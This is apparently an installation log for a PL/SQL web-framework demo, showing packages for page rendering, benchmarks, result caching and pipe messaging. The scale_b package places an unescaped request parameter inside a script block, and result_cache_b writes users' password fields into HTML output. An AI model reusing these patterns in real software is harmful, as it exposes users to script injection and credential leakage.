19 p.p(r.ua);
20 p.div_open;
21 p.a('device-width', 'scale_b.d?w=device-width');
22 p.a('320', 'scale_b.d?w=320');
23 p.a('360', 'scale_b.d?w=360');
24 p.a('480', 'scale_b.d?w=480');
25 p.a('720', 'scale_b.d?w=720');
26 p.div_close;
27 p.tag_open('script');
28 p.print('var v_from="' || r.getc('from', '..') || '";');
29 p.print('<!--
30 var ua,w,h;
31 if (window.navigator)
32 ua = window.navigator.userAgent;
33 else if (window.clientInformation)
34 ua = window.clientInformation.userAgent;
35 //alert(ua);
36 var c=document.getElementById("c");
37 var show=ua;
38
39 if (window.screen) {
40 var w = window.screen.availableWidth || window.screen.width;
41 var h = window.screen.availableHeight || window.screen.height;
42
43 //alert(w+"*"+h);
44 } else w = h = "";
45 if (window.location) {
46 var l = "./mp_detect_b.save_set?w="+w+"&h="+h+"&ua="+encodeURIComponent(ua)+"&from="+v_from;
47 // alert(l);
48 // window.location = l;
49 }
50 c.innerHTML = [ua,
51 ,"---"
52 , "window.screen.availableWidth"
53 , window.screen.availableWidth || "null"
54 , "window.screen.width"
55 , window.screen.width || "null"
56 , "document.documentElement.clientWidth"
57 , document.documentElement.clientWidth
58 , "window.innerWidth"
59 , window.innerWidth || "null"
60 , "document.documentElement.offsetWidth"
61 , document.documentElement.offsetWidth
62 ].join("<br/>");
63 -->');
64 p.tag_close('script');
65 end;
66
67 end scale_b;
68 /
Package body created.
SQL>
SQL> prompt performance tester
performance tester
SQL> @@speed_test_e.spc
SQL> create or replace package speed_test_e is
2
3 procedure gac_get(p_cnt pls_integer);
4
5 procedure pv_get(p_cnt pls_integer);
6
7 procedure dual_get(p_cnt pls_integer);
8
9 procedure all_test(p_cnt pls_integer);
10
11 end speed_test_e;
12 /
Package created.
SQL> @@speed_test_e.bdy
SQL> create or replace package body speed_test_e is
2
3 procedure start_time is
4 begin
5 tmp.n := dbms_utility.get_cpu_time;
6 end;
7
8 procedure report
9 (
10 p_cnt pls_integer,
11 info varchar2
12 ) is
13 begin
14 dbms_output.put_line(info);
15 dbms_output.put_line((dbms_utility.get_cpu_time - tmp.n) / p_cnt * 10);
16 dbms_output.put_line('');
17 end;
18
19 procedure gac_get(p_cnt pls_integer) is
20 v varchar2(30);
21 begin
22 dbms_session.clear_identifier;
23 dbms_session.set_context('GAC_SPEED_TEST', 'KEY1', 'VAL1');
24 start_time;
25 for i in 1 .. p_cnt loop
26 v := sys_context('GAC_SPEED_TEST', 'KEY1');
27 end loop;
28 report(p_cnt, 'GAC sys_context get');
29 end;
30
31 procedure lv_get(p_cnt pls_integer) is
32 v varchar2(30);
33 begin
34 tmp.s := 'VAL1';
35 start_time;
36 for i in 1 .. p_cnt loop
37 v := tmp.s || i;
38 end loop;
39 report(p_cnt, 'PV tmp.s get');
40 end;
41
42 procedure pv_get(p_cnt pls_integer) is
43 v varchar2(30);
44 lv varchar2(30);
45 begin
46 lv := 'VAL1';
47 start_time;
48 for i in 1 .. p_cnt loop
49 v := lv || i;
50 end loop;
51 report(p_cnt, 'LV get');
52 end;
53
54 procedure r_get(p_cnt pls_integer) is
55 v varchar2(30);
56 lv varchar2(30);
57 begin
58 r.setc('p$1', 'value');
59 start_time;
60 for i in 1 .. p_cnt loop
61 v := r.getc('x$1') || i;
62 end loop;
63 report(p_cnt, 'r.get');
64 end;
65
66 procedure r_set(p_cnt pls_integer) is
67 v varchar2(30);
68 lv varchar2(30);
69 begin
70 r.setc('p$1', 'value');
71 start_time;
72 for i in 1 .. p_cnt loop
73 r.setc('p$1', 'value' || i);
74 end loop;
75 report(p_cnt, 'r.set');
76 end;
77
78 procedure set_get_varray(p_cnt pls_integer) is
79 v varchar2(30);
80 type varray_type is varray(10) of varchar2(4000);
81 lv varray_type := varray_type('1');
82 begin
83 start_time;
84 for i in 1 .. p_cnt loop
85 lv(1) := 'value' || i;
86 v := lv(1);
87 end loop;
88 report(p_cnt, 'set_get_varray');
89 end;
90
91 procedure set_get_nested_table(p_cnt pls_integer) is
92 v varchar2(30);
93 lv st := st('1');
94 begin
95 start_time;
96 for i in 1 .. p_cnt loop
97 lv(1) := 'value' || i;
98 v := lv(1);
99 end loop;
100 report(p_cnt, 'set_get_nested_table');
101 end;
102
103 procedure set_get_indexed_by_table(p_cnt pls_integer) is
104 v varchar2(30);
105 type idx_str_arr is table of varchar2(4000) index by binary_integer;
106 arr idx_str_arr;
107 begin
108 start_time;
109 for i in 1 .. p_cnt loop
110 arr(1) := 'value' || i;
111 v := arr(1);
112 end loop;
113 report(p_cnt, 'set_get_indexed_by_table');
114 end;
115
116 procedure dual_get(p_cnt pls_integer) is
117 v varchar2(30);
118 begin
119 start_time;
120 for i in 1 .. p_cnt loop
121 select dummy into v from dual;
122 end loop;
123 report(p_cnt, 'SQL select dual');
124 end;
125
126 procedure dual_get_rc(p_cnt pls_integer) is
127 v varchar2(30);
128 begin
129 start_time;
130 for i in 1 .. p_cnt loop
131 select /* result-cache */
132 dummy
133 into v
134 from dual;
135 end loop;
136 report(p_cnt, 'SQL select dual by result cache');
137 end;
138
139 procedure table_get(p_cnt pls_integer) is
140 v user_t%rowtype;
141 begin
142 start_time;
143 for i in 1 .. p_cnt loop
144 select a.* into v from user_t a where rownum = 1;
145 end loop;
146 report(p_cnt, 'SQL select user_t');
147 end;
148
149 procedure table_get_rc(p_cnt pls_integer) is
150 v user_t%rowtype;
151 begin
152 start_time;
153 for i in 1 .. p_cnt loop
154 select /* result-cache */
155 a.*
156 into v
157 from user_t a
158 where rownum = 1;
159 end loop;
160 report(p_cnt, 'SQL select dual by result cache');
161 end;
162
163 procedure all_test(p_cnt pls_integer) is
164 begin
165 --speed_test_e.gac_get(p_cnt);
166 speed_test_e.lv_get(p_cnt);
167 speed_test_e.pv_get(p_cnt);
168 speed_test_e.r_get(p_cnt);
169 speed_test_e.r_set(p_cnt);
170 speed_test_e.set_get_varray(p_cnt);
171 speed_test_e.set_get_nested_table(p_cnt);
172 speed_test_e.set_get_indexed_by_table(p_cnt);
173 --speed_test_e.dual_get(p_cnt);
174 --speed_test_e.dual_get_rc(p_cnt);
175 --speed_test_e.table_get(p_cnt);
176 --speed_test_e.table_get_rc(p_cnt);
177 end;
178
179 end speed_test_e;
180 /
Package body created.
SQL> @@array_test_e.spc
SQL> create or replace package array_test_e is
2 pragma serially_reusable;
3
4 procedure arr_compare(amount pls_integer := 100);
5 procedure str_len_compare;
6 procedure simple_arr_compare;
7
8 procedure serial_reuse_outer;
9 procedure serial_reuse_inner;
10
11 procedure indexby_exist;
12 end array_test_e;
13 /
Package created.
SQL> @@array_test_e.bdy
SQL> create or replace package body array_test_e is
2 pragma serially_reusable;
3
4 val pls_integer := 0;
5
6 type table_arr is table of nvarchar2(32767);
7 type index_arr is table of nvarchar2(32767) index by pls_integer;
8 type index_map is table of nvarchar2(32767) index by varchar2(100);
9
10 procedure before is
11 begin
12 dbms_hprof.start_profiling('PLSHPROF_DIR', 'test.trc');
13 end;
14
15 procedure after(comment varchar2) is
16 begin
17 dbms_hprof.stop_profiling;
18 tmp.n := dbms_hprof.analyze('PLSHPROF_DIR', 'test.trc', run_comment => comment);
19 dbms_output.put_line(tmp.n);
20 end;
21
22 procedure arr_compare(amount pls_integer := 100) is
23 v1 index_arr;
24 v2 table_arr;
25 procedure v1test is
26 begin
27 v1.delete;
28 for i in 1 .. amount loop
29 v1(i) := 'abcd';
30 end loop;
31 end;
32 procedure v2test is
33 begin
34 v2.delete;
35 for i in 1 .. amount loop
36 v2.extend;
37 v2(i) := 'abcd';
38 end loop;
39 end;
40 begin
41 before;
42 v1test;
43 v2test;
44 after('arr_test');
45 end;
46
47 procedure str_len_compare is
48 v varchar2(32767);
49 n pls_integer := floor(32767 / 14);
50 u varchar2(100);
51 procedure t1 is
52 begin
53 for i in 1 .. n * 2 loop
54 v := v || 'abcdefg';
55 end loop;
56 end;
57 procedure t2 is
58 begin
59 for i in 1 .. n loop
60 u := 'abcdefgabcdefg';
61 v := v || u;
62 end loop;
63 end;
64 procedure t3 is
65 begin
66 for i in 1 .. n loop
67 u := 'abcdefg';
68 u := u || 'abcdefg';
69 v := v || u;
70 end loop;
71 end;
72 procedure t4 is
73 begin
74 for i in 1 .. floor(n / 2) loop
75 u := 'abcdefg';
76 u := u || 'abcdefg';
77 u := u || 'abcdefg';
78 u := u || 'abcdefg';
79 v := v || u;
80 end loop;
81 end;
82 begin
83 before;
84 t1;
85 v := '';
86 t2;
87 v := '';
88 t3;
89 v := '';
90 t4;
91 after('str_len');
92 end;
93
94 procedure simple_arr_compare is
95 v_cnt pls_integer := 3276;
96 procedure simple is
97 v varchar2(32767);
98 begin
99 for i in 1 .. v_cnt loop
100 v := v || '1234567890';
101 end loop;
102 end;
103 procedure indexby is
104 v index_arr;
105 begin
106 v(1) := '';
107 for i in 1 .. v_cnt loop
108 v(1) := v(1) || '1234567890';
109 end loop;
110 end;
111 procedure nested is
112 v table_arr := table_arr('');
113 begin
114 for i in 1 .. v_cnt loop
115 v(1) := v(1) || '1234567890';
116 end loop;
117 end;
118 begin
119 before;
120 simple;
121 indexby;
122 nested;
123 after('simple_arr_compare');
124 end;
125
126 procedure serial_reuse_outer is
127 begin
128 -- dbms_output.put_line(val);
129 execute immediate 'call tests.serial_reuse_inner()';
130 execute immediate 'call tests.serial_reuse_inner()';
131 dbms_output.put_line(val);
132 end;
133
134 procedure serial_reuse_inner is
135 begin
136 dbms_output.put_line('inner head :' || val);
137 val := val + 1;
138 dbms_output.put_line('inner tail :' || val);
139 end;
140
141 procedure indexby_exist is
142 v index_map;
143 begin
144 dbms_output.put_line(t.tf(v.exists('a'), 'exist', 'not exist'));
145 dbms_output.put_line('v(a)=' || v('a'));
146 end;
147
148 end array_test_e;
149 /
Package body created.
SQL> @@lob_test_e.spc
SQL> create or replace package lob_test_e is
2
3 procedure test
4 (
5 rcomm varchar2 := 'lob',
6 psize pls_integer := 16
7 );
8
9 procedure test_all_size;
10
11 procedure do_lob;
12
13 procedure do_varchar2;
14
15 procedure do_raw;
16
17 end lob_test_e;
18 /
Package created.
SQL> @@lob_test_e.bdy
SQL> create or replace package body lob_test_e is
2
3 gv_blob blob;
4 gv_size pls_integer := 16000;
5 gv_pack pls_integer := 16; -- max 1024, min 8
6
7 procedure do_lob is
8 v_raw raw(1024) := utl_raw.copies(utl_raw.cast_to_raw('12345678'), gv_pack / 8);
9 begin
10 for i in 1 .. gv_size / gv_pack loop
11 dbms_lob.write(gv_blob, gv_pack, (i - 1) * gv_pack + 1, v_raw);
12 end loop;
13 end;
14
15 procedure do_varchar2 is
16 v_char varchar2(1024) := utl_raw.cast_to_varchar2(utl_raw.copies(utl_raw.cast_to_raw('12345678'), gv_pack / 8));
17 v_out varchar2(32000);
18 begin
19 for i in 1 .. gv_size / gv_pack loop
20 v_out := v_out || substr(v_char, 1, gv_pack);
21 end loop;
22 end;
23
24 procedure do_raw is
25 v_raw raw(512) := utl_raw.copies(utl_raw.cast_to_raw('12345678'), gv_pack / 8);
26 v_out raw(32000) := utl_raw.copies(utl_raw.cast_to_raw('12345678'), 32000 / 8);
27 v_tmp raw(512);
28 begin
29 for i in 1 .. gv_size / gv_pack loop
30 -- v_out := utl_raw.concat(v_out, v_raw);
31 v_tmp := utl_raw.overlay(v_raw, v_out, (i - 1) * gv_pack + 1, gv_pack);
32 end loop;
33 end;
34
35 procedure test
36 (
37 rcomm varchar2 := 'lob',
38 psize pls_integer := 16
39 ) is
40 begin
41 gv_pack := psize;
42 select a.sid into tmp.n from v$mystat a where rownum = 1;
43 dbms_output.put_line(tmp.n);
44
45 dbms_hprof.start_profiling('PLSHPROF_DIR', 'lob.trc');
46 lob_test.do_lob;
47 dbms_hprof.stop_profiling;
48 tmp.n := dbms_hprof.analyze('PLSHPROF_DIR', 'lob.trc', run_comment => rcomm);
49 dbms_output.put_line(tmp.n);
50
51 dbms_hprof.start_profiling('PLSHPROF_DIR', 'lob.trc');
52 lob_test.do_varchar2;
53 dbms_hprof.stop_profiling;
54 tmp.n := dbms_hprof.analyze('PLSHPROF_DIR', 'lob.trc', run_comment => rcomm);
55 dbms_output.put_line(tmp.n);
56 end;
57
58 procedure test_all_size is
59 begin
60 for i in 3 .. 10 loop
61 gv_pack := power(2, i);
62 test('size_' || gv_pack, gv_pack);
63 end loop;
64 end;
65
66 begin
67 dbms_lob.createtemporary(gv_blob, cache => true, dur => dbms_lob.call);
68
69 end lob_test_e;
70 /
Warning: Package Body created with compilation errors.
SQL> @@css_prof_b.spc
SQL> create or replace package css_prof_b is
2
3 procedure main;
4
5 end css_prof_b;
6 /
Package created.
SQL> @@css_prof_b.bdy
SQL> create or replace package body css_prof_b is
2
3 procedure bootstrap_load is
4 begin
5 x.t('<!DOCTYPE html>');
6 x.o('<html>');
7 x.o(' <head>');
8 x.s(' <meta name=viewport,content=:1>', st('width=device-width, initial-scale=1'));
9 x.l(' <link>', '[bootstrap.css]');
10 x.j(' <script>', '[jquery.js]');
11 x.j(' <script>', '[bootstrap.js]');
12 x.c(' </head>');
13 x.o(' <body>');
14 end;
15
16 procedure main is
17 p_paint boolean := not r.is_null('paint');
18 p_rule_cnt pls_integer := r.getn('rule_cnt', 1000);
19 p_dom_cnt pls_integer := r.getn('dom_cnt', 1000);
20 p_wrap_cnt pls_integer := r.getn('wrap_cnt', 0);
21 p_nest_cnt pls_integer := r.getn('nest_cnt', 0);
22 v_loop_cnt pls_integer := ceil(p_dom_cnt / (p_nest_cnt + 1));
23 p_rule_pat varchar2(1000) := r.getc('rule_pat', '.class:1{background-color:yellow;}');
24 begin
25 x.t('<!DOCTYPE html>');
26 x.o('<html>');
27 x.o(' <head>');
28 x.s(' <meta name=viewport,content=:1>', st('width=device-width, initial-scale=1'));
29 x.p(' <script>', 'var t_head = Number(new Date());');
30 x.o(' <style>');
31 x.t(' label{display:block;}#topmost{display::1;}', st(t.tf(p_paint, 'block', 'none')));
32 b.flush;
33 for i in 1 .. p_rule_cnt loop
34 x.t(p_rule_pat, st(i));
35 end loop;
36 x.c(' </style>');
37 x.c(' </head>');
38 x.o(' <body>');
39 src_b.link_proc;
40 x.p(' <script>', 'var t_body = Number(new Date());');
41 x.p(' <pre#log>', '');
42
43 x.o(' <form action=:1>', st(r.prog));
44 x.p(' <label>', 'css rule_patten: ' || x.v('<input name=rule_pat,size=100>', p_rule_pat));
45 x.p(' <label>', 'rule_cnt: ' || x.v('<input name=rule_cnt>', p_rule_cnt));
46 x.p(' <label>', 'dom_cnt: ' || x.v('<input name=dom_cnt>', p_dom_cnt));
47 x.p(' <label>', 'nest_cnt: ' || x.v('<input name=nest_cnt>', p_nest_cnt));
48 x.p(' <label>', 'wrap_cnt: ' || x.v('<input name=wrap_cnt>', p_wrap_cnt));
49 x.p(' <label>', 'v_loop_cnt: ' || v_loop_cnt);
50 x.p(' <label>', 'paint: ' || x.s('<input :1 type=checkbox,name=paint,value=paint>', st(x.checked(p_paint))));
51 x.s(' <input type=submit>');
52 x.c(' </form>');
53 x.o(' <div#topmost>');
54 for j in 1 .. p_wrap_cnt loop
55 x.o('<div>');
56 end loop;
57 for i in 1 .. v_loop_cnt loop
58 if mod(i, 100) = 0 then
59 b.flush;
60 end if;
61 for j in 1 .. p_nest_cnt loop
62 x.o('<p>');
63 end loop;
64 x.a('<a.c:1>', 'link' || i, '#', st(i));
65 for j in 1 .. p_nest_cnt loop
66 x.c('</p>');
67 end loop;
68 end loop;
69 for j in 1 .. p_wrap_cnt loop
70 x.c('</div>');
71 end loop;
72 x.c('</div>');
73 x.p(' <script>',
74 '
75 var t_now = Number(new Date());
76 document.getElementById("log").innerHTML =
77 "from top of HEAD: " + (t_now - t_head) + " ms<br/>" +
78 "from top of BODY: " + (t_now - t_body) + " ms<br/>" +
79 "from HEAD to BODY: " + (t_body - t_head) + " ms<br/>"
80 ;');
81 x.c(' </body>');
82 x.c('</html>');
83 end;
84
85 end css_prof_b;
86 /
Package body created.
SQL> @@result_cache_b.spc
SQL> create or replace package result_cache_b is
2
3 function get_user(p_name varchar2) return user_t%rowtype result_cache;
4
5 procedure print_user;
6
7 procedure output_user;
8
9 end result_cache_b;
10 /
Package created.
SQL> @@result_cache_b.bdy
SQL> create or replace package body result_cache_b is
2
3 gv_user user_t%rowtype;
4
5 function get_user(p_name varchar2) return user_t%rowtype result_cache is
6 begin
7 dbms_lock.sleep(1);
8 select a.* into gv_user from user_t a where a.name = p_name;
9 -- set this cache-key to GAC,
10 -- so trigger can invalidate
11 --select dbms_flashback.get_system_change_number into tmp.scn from dual;
12 --dbms_output.put_line(tmp.scn);
13 tmp.k := 1;
14 return gv_user;
15 end;
16
17 procedure trg_chg(p_name varchar2) is
18 begin
19 null;
20 end;
21
22 procedure set_pv_user(p_name varchar2) is
23 begin
24 tmp.k := 0;
25 gv_user := get_user(p_name);
26 /*
27 pipe type,key,value to bg job to update
28 if tmp.k = 1 then
29 select max(a.id)
30 into gv_user.cache_id
31 from v$result_cache_objects a
32 where a.name like '"DEMO1"."RESULT_CACHE_B"%'
33 and a.status = 'Published';
34 update user_t a set a.cache_id = gv_user.cache_id where a.name = p_name;
35 end if;
36 */
37 end;
38
39 procedure print_user is
40 v user_t%rowtype;
41 v_stime number := dbms_utility.get_time;
42 p_user varchar2(30) := r.getc('name', 'liyong');
43 begin
44 for i in 1 .. 1000 loop
45 v := get_user(p_user);
46 end loop;
47 x.p('<h2>', dbms_utility.get_time - v_stime);
48 x.p('<p>', v.name);
49 x.p('<p>', v.pass);
50 x.p('<p>', to_char(v.ctime));
51 end;
52
53 procedure output_user is
54 v user_t%rowtype;
55 v_stime number := dbms_utility.get_cpu_time;
56 p_user varchar2(30) := r.getc('name', 'liyong');
57 begin
58 select a.* into gv_user from user_t a where a.name = p_user;
59 for i in 1 .. 5000 loop
60 v := get_user(p_user);
61 end loop;
62 dbms_output.put_line(dbms_utility.get_cpu_time - v_stime);
63 x.p('<p>', v.name);
64 x.p('<p>', v.pass);
65 x.p('<p>', to_char(v.ctime));
66 end;
67
68 end result_cache_b;
69 /
Package body created.
SQL>
SQL> @@msg_b.spc
SQL> create or replace package msg_b is
2
3 procedure print_items;
4
5 procedure sendout_single;
6 procedure sendout_batch;
7
8 procedure say_something;
9
10 procedure resp_oper_result;
11 procedure compute_callout;
12 procedure compute;
13
14 procedure direct_sendout;
15 procedure direct_callout;
16 procedure multiple_callout;
17 procedure multiple_callout_easy_resp;
18
19 procedure sync_sendout;
20 procedure sync_sendout2;
21 procedure sync_sendout3;
22 procedure sync_sendout4;
23
24 end msg_b;
25 /
Package created.
SQL> @@msg_b.bdy
SQL> create or replace package body msg_b is
2
3 procedure print_items is
4 cur sys_refcursor;
5 begin
6 dbms_lock.sleep(r.getn('delay', 0));
7 h.content_type('text/resultsets', 'UTF-8');
8 --h.content_type(h.rss, 'UTF-8');
9 h.header('_convert', 'JSON');
10
11 open cur for
12 select sysdate from dual;
13 rs.print('now', cur);
14
15 -- receive from pipe data as message source
16 -- and print it out
17 -- pending message may more than limit of pipe store capacity
18 end;
19
20 procedure sendout_single is
21 cur sys_refcursor;
22 v_msg varchar2(4000);
23 begin
24 tmp.n := dbms_pipe.receive_message('bbs', r.getn('timeout', 3));
25 if tmp.n = 1 then
26 h.status_line(504);
27 return;
28 end if;
29
30 h.content_type('text/resultsets', 'UTF-8');
31 h.header('_convert', 'JSON');
32
33 dbms_pipe.unpack_message(v_msg);
34 open cur for
35 select v_msg msg_text from dual;
36 rs.print('msg', cur);
37 end;
38
39 procedure sendout_batch is
40 cur sys_refcursor;
41 v_msg varchar2(4000);
42 v_timeout number := r.getn('timeout', 3);
43 begin
44 loop
45 tmp.n := dbms_pipe.receive_message('bbs', v_timeout);
46 v_timeout := 0;
47 if tmp.n = 1 then
48 h.status_line(504);
49 return;
50 end if;
51
52 h.content_type('text/resultsets', 'UTF-8');
53 h.header('_convert', 'JSON');
54
55 dbms_pipe.unpack_message(v_msg);
56 open cur for
57 select v_msg msg_text from dual;
58 rs.print('msg', cur);
59 end loop;
60 end;
61
62 procedure say_something is
63 begin
64 x.t('<doctype HTML>');
65 x.f('<form>', '@c.say_something');
66 x.s(' <input type=text,name=message>');
67 x.s(' <input type=submit>');
68 x.c('</form>');
69 end;
70
71 procedure compute_callout is
72 p1 number;
73 p2 number;
74 v_timeout number := r.getn('timeout', 2);
75 begin
76 tmp.n := dbms_pipe.receive_message('compute', v_timeout);
77 if tmp.n = 1 then
78 h.status_line(504);
79 x.t('listen callout message timeout!');
80 return;
81 end if;
82 dbms_pipe.unpack_message(p1);
83 x.t(p1);
84 x.t(chr(10));
85 dbms_pipe.unpack_message(p2);
86 x.t(p2);
87 end;
88
89 procedure resp_oper_result is
90 v_pipename varchar2(100) := r.getc('h$pipename');
91 begin
92 dbms_pipe.pack_message(r.getc('oper'));
93 dbms_pipe.pack_message(r.getn('result'));
94 tmp.n := dbms_pipe.send_message(v_pipename);
95 end;
96
97 procedure compute is
98 v_result number;
99 begin
100 dbms_pipe.pack_message(r.getn('p1', 3));
101 dbms_pipe.pack_message(r.getn('p2', 5));
102 tmp.n := dbms_pipe.send_message('compute');
103
104 tmp.n := dbms_pipe.receive_message('cb', 15);
105 if tmp.n = 1 then
106 -- callout timeout
107 h.status_line(504);
108 x.t('callout timeout!');
109 return;
110 end if;
111
112 dbms_pipe.unpack_message(v_result);
113 x.t(v_result);
114 end;
115
116 procedure direct_sendout is
117 v_result number;
118 begin
119 dbms_pipe.pack_message(r.getc('oper', 'add'));
120 dbms_pipe.pack_message(r.getn('p1', 3));
121 dbms_pipe.pack_message(r.getn('p2', 5));
122 tmp.n := dbms_pipe.send_message('direct_send_pipe');
123 x.t('message send, no code for customized message printer');
124 return;
125 end;
126
127 procedure direct_callout is
128 v_oper varchar2(30);
129 v_result number;
130 v_rpipename varchar2(100) := r.cfg || '.' || r.slot;
131 begin
132 dbms_pipe.pack_message(r.getc('oper', 'add'));
133 dbms_pipe.pack_message(r.getn('p1', 3));
134 dbms_pipe.pack_message(r.getn('p2', 5));
135 dbms_pipe.pack_message(v_rpipename);
136 tmp.n := dbms_pipe.send_message('direct_send_pipe');
137
138 dbms_pipe.purge(v_rpipename);
139 tmp.n := dbms_pipe.receive_message(v_rpipename, 15);
140 if tmp.n = 1 then
141 -- callout timeout
142 h.status_line(504);
143 x.t('callout timeout!');
144 return;
145 end if;
146
147 dbms_pipe.unpack_message(v_oper);
148 x.t(v_oper || ':');
149 dbms_pipe.unpack_message(v_result);
150 x.t(v_result);
151 end;
152
153 procedure multiple_callout is
154 v_result number;
155 v_rpipename varchar2(100) := r.cfg || '.' || r.slot;
156 p1 number := r.getn('p1', 5);
157 p2 number := r.getn('p2', 3);
158 v_oper varchar2(30);
159 v_opers varchar2(100);
160 v_add number;
161 v_minus number;
162 v_multiply number;
163 begin
164 -- clear receive reponse pipe first
165 dbms_pipe.purge(v_rpipename);
166
167 -- callout 1
168 dbms_pipe.pack_message('add');
169 dbms_pipe.pack_message(p1);
170 dbms_pipe.pack_message(p2);
171 dbms_pipe.pack_message(v_rpipename);
172 tmp.n := dbms_pipe.send_message('direct_send_pipe');
173
174 -- callout 2
175 dbms_pipe.pack_message('minus');
176 dbms_pipe.pack_message(p1);
177 dbms_pipe.pack_message(p2);
178 dbms_pipe.pack_message(v_rpipename);
179 tmp.n := dbms_pipe.send_message('direct_send_pipe');
180
181 -- callout 3
182 dbms_pipe.pack_message('multiply');
183 dbms_pipe.pack_message(p1);
184 dbms_pipe.pack_message(p2);
185 dbms_pipe.pack_message(v_rpipename);
186 tmp.n := dbms_pipe.send_message('direct_send_pipe');
187
188 -- receive all the callout response, with any order
189 for i in 1 .. 3 loop
190 tmp.n := dbms_pipe.receive_message(v_rpipename, 15);
191 if tmp.n = 1 then
192 -- callout timeout
193 h.status_line(504);
194 x.t('callout timeout!');
195 return;
196 end if;
197
198 dbms_pipe.unpack_message(v_oper);
199 v_opers := v_opers || v_oper || ',';
200 case v_oper
201 when 'add' then
202 dbms_pipe.unpack_message(v_result);
203 v_add := v_result;
204 when 'minus' then
205 dbms_pipe.unpack_message(v_result);
206 v_minus := v_result;
207 when 'multiply' then
208 dbms_pipe.unpack_message(v_result);
209 v_multiply := v_result;
210 else
211 null;
212 end case;
213 end loop;
214
215 x.p('<p>', 'p1:' || p1);
216 x.p('<p>', 'p2:' || p2);
217 x.p('<p>', 'response receive order:' || v_opers);
218 x.p('<p>', 'add:' || v_add);
219 x.p('<p>', 'minus:' || v_minus);
220 x.p('<p>', 'multiply:' || v_multiply);
221 end;
222
223 procedure multiple_callout_easy_resp is
224 v_result number;
225 v_rpipename varchar2(100) := r.cfg || '.' || r.slot;
226 p1 number := r.getn('p1', 5);
227 p2 number := r.getn('p2', 3);
228 v_oper varchar2(30);
229 v_opers varchar2(100);
230 v_add number;
231 v_minus number;
232 v_multiply number;
233 begin
234 -- clear receive reponse pipe first
235 dbms_pipe.purge(v_rpipename);
236
237 -- callout 1
238 dbms_pipe.pack_message('add');
239 dbms_pipe.pack_message(p1);
240 dbms_pipe.pack_message(p2);
241 dbms_pipe.pack_message(v_rpipename);
242 tmp.n := dbms_pipe.send_message('pipe_only');
243
244 -- callout 2
245 dbms_pipe.pack_message('minus');
246 dbms_pipe.pack_message(p1);
247 dbms_pipe.pack_message(p2);
248 dbms_pipe.pack_message(v_rpipename);
249 tmp.n := dbms_pipe.send_message('pipe_only');
250
251 -- callout 3
252 dbms_pipe.pack_message('multiply');
253 dbms_pipe.pack_message(p1);
254 dbms_pipe.pack_message(p2);
255 dbms_pipe.pack_message(v_rpipename);
256 tmp.n := dbms_pipe.send_message('pipe_only');
257
258 -- receive all the callout response, with any order
259 for i in 1 .. 3 loop
260 if not mp.pipe2param(v_rpipename, 15) then
261 -- callout timeout
262 h.status_line(504);
263 x.t('callout timeout!');
264 return;
265 end if;
266 v_oper := r.getc('oper');
267 v_result := r.getn('result');
268
269 v_opers := v_opers || v_oper || ',';
270 case v_oper
271 when 'add' then
272 v_add := v_result;
273 when 'minus' then
274 v_minus := v_result;
275 when 'multiply' then
276 v_multiply := v_result;
277 else
278 null;
279 end case;
280 end loop;
281
282 x.p('<p>', 'p1:' || p1);
283 x.p('<p>', 'p2:' || p2);
284 x.p('<p>', 'response receive order:' || v_opers);
285 x.p('<p>', 'add:' || v_add);
286 x.p('<p>', 'minus:' || v_minus);
287 x.p('<p>', 'multiply:' || v_multiply);
288 end;
289
290 procedure sync_sendout is
291 begin
292 x.p('<p>', 'a call-out message is send as this page is produced!');
293 mp.begin_msg;
294 h.header('Content-Type', 'text/xml');
295 h.header('Msg-Type', 'type1');
296 x.p('<message>', 'I am sent with servlet to nodejs.');
297 mp.send_msg;
298 x.p('<p>', 'printed after message sent.');
299 end;
300
301 procedure sync_sendout2 is
302 cur sys_refcursor;
303 begin
304 x.p('<p>', 'a call-out message is send as this page is produced!');
305 mp.begin_msg;
306 h.header('Content-Type', 'text/resultsets');
307 h.header('Msg-Type', 'type2');
308 open cur for
309 select * from user_t where rownum <= 3;
310 rs.print('users', cur);
311 mp.send_msg;
312 x.p('<p>', 'printed after message sent.');
313 end;
314
315 procedure sync_sendout3 is
316 begin
317 x.p('<p>', 'a call-out message is send as this page is produced!');
318 mp.begin_msg;
319 h.header('Content-Type', 'text/items');
320 h.header('Msg-Type', 'type3');
321 for i in (select * from user_t where rownum <= 3) loop
322 b.line(i.name);
323 end loop;
324 mp.send_msg;
325 x.p('<p>', 'printed after message sent.');
326 end;
327
328 procedure sync_sendout4 is
329 begin
330 x.p('<p>', 'a call-out message is send as this page is produced!');
331 mp.begin_msg;
332 mp.set_callback_pipename;
333 h.header('Content-Type', 'text/items');
334 h.header('Msg-Type', 'type4');
335 b.line('Tianjin');
336 mp.send_msg;
337
338 if not mp.pipe2param then
339 h.status_line(504);
340 x.t('callout(get termperature) timeout!');
341 return;
342 end if;
343 x.t('temperature is ' || r.getn('temperature') || ' degree');
344 end;
345
346 end msg_b;
347 /
Package body created.
SQL> @@msg_c.spc
SQL> create or replace package msg_c is
2
3 procedure say_something;
4
5 procedure compute_callback;
6
7 end msg_c;
8 /
Package created.
SQL> @@msg_c.bdy
SQL> create or replace package body msg_c is
2
3 procedure say_something is
4 begin
5 dbms_pipe.pack_message(r.getc('message'));
6 tmp.n := dbms_pipe.send_message('bbs');
7 dbms_pipe.pack_message(r.getc('message'));
8 tmp.n := dbms_pipe.send_message('bbs');
9 h.redirect(r.referer);
10 end;
11
12 procedure compute_callback is
13 begin
14 dbms_pipe.pack_message(r.getn('result'));
15 tmp.n := dbms_pipe.send_message(r.getc('h$pipename', 'cb'));
16 end;
17
18 end msg_c;
19 /
Package body created.
SQL>
SQL> set define on
SQL> set echo off
PL/SQL procedure successfully completed.
1 row created.
Commit complete.
noradle-demo bundle in oracle db part have been installed successfully!
Please follow the steps below to learn from demo
1. config server_config_t, start oracle processes and dispatcher process as in noradle document/wiki
2. run `noradle-demo [dispatcher_addr:=1522] [http_listen_addr:=8888]`
3. in your browser, access "http://localhost:8888/demo" (for example) to see the demo